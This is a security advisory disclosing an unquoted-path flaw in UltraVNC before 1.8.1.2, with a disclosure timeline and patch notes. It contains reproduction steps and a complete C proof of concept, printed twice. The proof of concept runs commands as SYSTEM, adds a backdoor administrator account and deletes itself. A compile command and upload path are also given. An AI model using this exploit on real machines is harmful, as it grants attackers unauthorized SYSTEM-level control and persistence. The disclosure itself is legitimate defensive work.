May 12, 2026
UltraVNC < 1.8.1.2- Unsafe CreateProcess Call Enables Arbitrary EXE Execution as SYSTEM (CWE-428)
UltraVNC <1.8.1.2 allows arbitrary EXE execution as SYSTEM via unsafe CreateProcess Calls. Coupled with a file transfer config, allows RCE
Elpfarr
4 min read
SECURITY ADVISORY · CVE- (PENDING ASSIGNMENT)
In UltraVNC < 1.8.1.2, place an arbitrary executable at C:\Program.exe or C:\Program Files\uvnc.exe and restart UltraVNC to run these files as SYSTEM. These executables do not natively exist, but UltraVNC references them during each service start/stop.
These directories are typically write protected for normal users, but an UltraVNC file transfer configuration allows any user to execute remote commands as SYSTEM via this issue.
NEVER DISABLE USER IMPERSONATION
Disabling user impersonation in the file transfer menu allows any authenticated user to execute commands as SYSTEM. Privileged file transfer should always occur under the UltraVNC Administrator account.
The developer mentions: https://uvnc.com/webhelp/input.html "If User impersonation is off, you have admin access to all local files, but can not access shares as they exist only at user level. For security reasons you best leaves it on."
I'll expand: disabling user impersonation allows any VNC user to escalate and run commands as SYSTEM. If this convinces one person not to disable user impersonation, it's worth it.
Steps to reproduce:
UltraVNC < 1.8.1.2- Unsafe CreateProcess Call Enables Arbitrary EXE Execution (CWE-428) via File Transfer- User Impersonation Disabled
Install UltraVNC Server 1.6.4.0 or older:
Check "Register UltraVNC Server as a system service" & "Start or restart UltraVNC service." This is required for unattended service restart.
Start UltraVNC Server
Set VNC password (Taskbar: Right-Click -> Settings)
Tab: Input/FT, uncheck user impersonation
Authenticate to a current (non-admin) session with the VNC password
Leverage the file transfer function to upload an arbitrary executable
This code leverages runAsSystem to run whoami, then creates a new user hacker and adds them to the local Admin group. It then deletes the current file. UltraVNC will fail to start if this exe exists after initial execution.
#include <windows.h>
#include <stdio.h>
void runAsSystem(const char* cmd) {
HANDLE hProcessToken = NULL;
HANDLE hDupToken = NULL;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char cmdLine[512];
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken);
DuplicateTokenEx(hProcessToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken);
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
_snprintf(cmdLine, sizeof(cmdLine), "cmd.exe /c %s", cmd);
CreateProcessAsUserA(
hDupToken,
NULL,
cmdLine,
NULL, NULL, FALSE,
CREATE_NO_WINDOW,
NULL, NULL,
&si, &pi);
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hDupToken);
CloseHandle(hProcessToken);
}
int main() {
// Run commands as SYSTEM using explicit process token
// bypassing any thread-level impersonation
runAsSystem("whoami > C:\\test.txt");
runAsSystem("net user hacker Password123! /add");
runAsSystem("net localgroup Administrators hacker /add");
// Self-delete after 3 seconds
char szFileName[MAX_PATH] = {0};
GetModuleFileNameA(NULL, szFileName, MAX_PATH);
char delCmd[MAX_PATH + 64] = {0};
sprintf(delCmd, "/c choice /C Y /N /D Y /T 3 & del \"%s\"", szFileName);
ShellExecuteA(NULL, "open", "cmd.exe", delCmd, NULL, SW_HIDE);
return 0;
}#include <windows.h>
#include <stdio.h>
void runAsSystem(const char* cmd) {
HANDLE hProcessToken = NULL;
HANDLE hDupToken = NULL;
STARTUPINFOA si;
PROCESS_INFORMATION pi;
char cmdLine[512];
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hProcessToken);
DuplicateTokenEx(hProcessToken, TOKEN_ALL_ACCESS, NULL,
SecurityImpersonation, TokenPrimary, &hDupToken);
memset(&si, 0, sizeof(si));
si.cb = sizeof(si);
memset(&pi, 0, sizeof(pi));
_snprintf(cmdLine, sizeof(cmdLine), "cmd.exe /c %s", cmd);
CreateProcessAsUserA(
hDupToken,
NULL,
cmdLine,
NULL, NULL, FALSE,
CREATE_NO_WINDOW,
NULL, NULL,
&si, &pi);
WaitForSingleObject(pi.hProcess, 5000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hDupToken);
CloseHandle(hProcessToken);
}
int main() {
// Run commands as SYSTEM using explicit process token
// bypassing any thread-level impersonation
runAsSystem("whoami > C:\\test.txt");
runAsSystem("net user hacker Password123! /add");
runAsSystem("net localgroup Administrators hacker /add");
// Self-delete after 3 seconds
char szFileName[MAX_PATH] = {0};
GetModuleFileNameA(NULL, szFileName, MAX_PATH);
char delCmd[MAX_PATH + 64] = {0};
sprintf(delCmd, "/c choice /C Y /N /D Y /T 3 & del \"%s\"", szFileName);
ShellExecuteA(NULL, "open", "cmd.exe", delCmd, NULL, SW_HIDE);
return 0;
}Compile the code:
x86_64-w64-mingw32-gcc -o uvnc.exe whoami.c -ladvapi32 -lshell32 x86_64-w64-mingw32-gcc -o uvnc.exe whoami.c -ladvapi32 -lshell32Upload uvnc.exe to C:\Program Files\ on target:
Now initiate a service stop/start, or reboot
When the system reboots, UltraVNC runs CreateFile against C:\Program Files\uvnc.exe as SYSTEM. Now we can now login as our newly created hacker local Administrator:
Confirmed in cmd:
We can also see our C:\test.txt file
and contents:
Our code removed uvnc.exe, so UltraVNC runs without issue. The file no longer exists in C:\Program Files\
I did not request a CVE for this file transfer escalation, since it's a feature, not a bug. Still, If you need to disable user impersonation, I would look at other options!
CWE-428 disclosure timeline: Reached out to UltraVNC devs: 04/29/2026 Requested a CVE designation from MITRE: 04/29/2026 Initial patch released: 05/05/2026 Final patch released: 05/09/2026
UltraVNC's release summary for May 2026 mentions this fix and an additional CVE that was discovered by another researcher: https://uvnc.com/downloads/ultravnc/165-ultravnc-1-8-2-0.html
Release summary — May 2026 -Security Several CVEs fixed. LoadLibrary search path restricted to prevent DLL hijacking.
UltraVNC — Changelog 1.8.2.1 — May 2026 -CVE-2026–3787 CWE-428
My finding is still pending a CVE designation from MITRE, listed as CWE-428 in the UltraVNC changelog.